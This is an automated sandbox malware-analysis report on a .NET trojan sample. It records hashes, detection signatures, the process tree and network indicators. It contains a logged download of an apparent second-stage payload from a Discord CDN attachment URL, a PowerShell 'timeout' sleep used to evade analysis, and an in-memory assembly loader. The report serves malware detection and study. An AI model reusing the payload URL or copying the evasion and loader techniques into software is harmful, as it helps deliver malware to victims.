Edit tour

Windows Analysis Report
2lfV6QiE6j

Overview

General Information

Sample Name:	2lfV6QiE6j (renamed file extension from none to exe)
Analysis ID:	563792
MD5:	00e84b6fa4bc44283827fdfed408acb2
SHA1:	b0f0e79d324a769b9b52be8896c8d150fbbaf7d2
SHA256:	4dfcffc647f3ad92ed307b8896b270b36634a5da12a3fea4ac89b51243e2b02f
Tags:	32exetrojan
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Costura Assembly Loader

Machine Learning detection for sample

.NET source code contains potential unpacker

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Binary contains a suspicious time stamp

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

2lfV6QiE6j.exe (PID: 6788 cmdline: "C:\Users\user\Desktop\2lfV6QiE6j.exe" MD5: 00E84B6FA4BC44283827FDFED408ACB2)

powershell.exe (PID: 6880 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20 MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 7084 cmdline: "C:\Windows\system32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)

timeout.exe (PID: 4900 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

cleanup

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.630697936.0000000002899000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.631911611.0000000005AA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 2lfV6QiE6j.exe PID: 6788	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.2lfV6QiE6j.exe.5aa0000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.2lfV6QiE6j.exe.3897790.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.2lfV6QiE6j.exe.3809570.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\2lfV6QiE6j.exe" , ParentImage: C:\Users\user\Desktop\2lfV6QiE6j.exe, ParentProcessId: 6788, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20, ProcessId: 6880

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132881835056306674.6880.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2lfV6QiE6j.exe

ReversingLabs: Detection: 18%

Machine Learning detection for sample

Source: 2lfV6QiE6j.exe

Joe Sandbox ML: detected

Source: 2lfV6QiE6j.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.6:49794 version: TLS 1.2

Source: 2lfV6QiE6j.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: protobuf-net.pdbSHA256 source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /attachments/937614907917078588/937618926945329213/macwx.log HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/937614907917078588/937618926945329213/macwx.log HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443

Source: 2lfV6QiE6j.exe, 00000000.00000002.630369619.00000000027A3000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: 2lfV6QiE6j.exe, 2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log
Source: 2lfV6QiE6j.exe	String found in binary or memory: http://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log1Nmagvtfit.Cyqt
Source: 2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com4
Source: 2lfV6QiE6j.exe, 00000000.00000002.630068561.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.539630588.0000000003412000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.540127500.0000000004F0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: 2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log
Source: 2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com4
Source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/937614907917078588/937618926945329213/macwx.log HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/937614907917078588/937618926945329213/macwx.log HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.6:49794 version: TLS 1.2

Source: 2lfV6QiE6j.exe, 00000000.00000002.629762436.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: 2lfV6QiE6j.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05989207	0_2_05989207
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05982E6F	0_2_05982E6F
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A20ED8	0_2_05A20ED8
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A20159	0_2_05A20159
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A21390	0_2_05A21390
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A20F9A	0_2_05A20F9A
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A266A0	0_2_05A266A0
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A20910	0_2_05A20910
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A2088D	0_2_05A2088D
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A2081E	0_2_05A2081E
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B0DFEF	0_2_05B0DFEF
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B076F0	0_2_05B076F0
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B0E839	0_2_05B0E839
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B0B3E8	0_2_05B0B3E8
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B0FAC0	0_2_05B0FAC0
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B0C468	0_2_05B0C468
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B0B718	0_2_05B0B718
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310EBA0	2_2_0310EBA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_03109AD0	2_2_03109AD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310B150	2_2_0310B150
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310C9CA	2_2_0310C9CA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310C9E0	2_2_0310C9E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310A070	2_2_0310A070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_03107E08	2_2_03107E08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310B570	2_2_0310B570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_03131A60	2_2_03131A60

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 98%

Source: 2lfV6QiE6j.exe	Binary or memory string: OriginalFilename vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.629762436.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.631720237.0000000005980000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNmagvtfit.dll" vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNmagvtfit.dll" vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000000.362740106.00000000003B2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemacwx.exeX vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs 2lfV6QiE6j.exe
Source: 2lfV6QiE6j.exe	Binary or memory string: OriginalFilenamemacwx.exeX vs 2lfV6QiE6j.exe

Source: 2lfV6QiE6j.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

Section loaded: sfc.dll

Jump to behavior

Source: 2lfV6QiE6j.exe

ReversingLabs: Detection: 18%

Source: 2lfV6QiE6j.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2lfV6QiE6j.exe "C:\Users\user\Desktop\2lfV6QiE6j.exe"
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout 20	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20	Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20220201

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mev1cm5m.f3r.ps1

Jump to behavior

Source: classification engine

Classification label: mal60.evad.winEXE@8/4@2/2

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_01

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 2lfV6QiE6j.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2lfV6QiE6j.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: 2lfV6QiE6j.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: protobuf-net.pdbSHA256 source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.2lfV6QiE6j.exe.5aa0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2lfV6QiE6j.exe.3897790.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2lfV6QiE6j.exe.3809570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.630697936.0000000002899000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.631911611.0000000005AA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2lfV6QiE6j.exe PID: 6788, type: MEMORYSTR

.NET source code contains potential unpacker

Source: 2lfV6QiE6j.exe, Water.cs	.Net Code: Ball System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.2lfV6QiE6j.exe.3b0000.0.unpack, Water.cs	.Net Code: Ball System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.2.2lfV6QiE6j.exe.3b0000.0.unpack, Water.cs	.Net Code: Ball System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A2D502 push E801005Eh; retf	0_2_05A2D501
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A2D4E8 push E801005Eh; retf	0_2_05A2D501
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05A220E0 pushfd ; retf	0_2_05A22189
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B065B8 pushfd ; iretd	0_2_05B065B9
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B05C90 pushad ; ret	0_2_05B05C91
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Code function: 0_2_05B08404 push E810635Eh; ret	0_2_05B08409
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0310B540 push 0000C304h; ret	2_2_0310B55B

Source: 2lfV6QiE6j.exe

Static PE information: 0xDB843ABB [Sat Sep 14 21:08:11 2086 UTC]

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
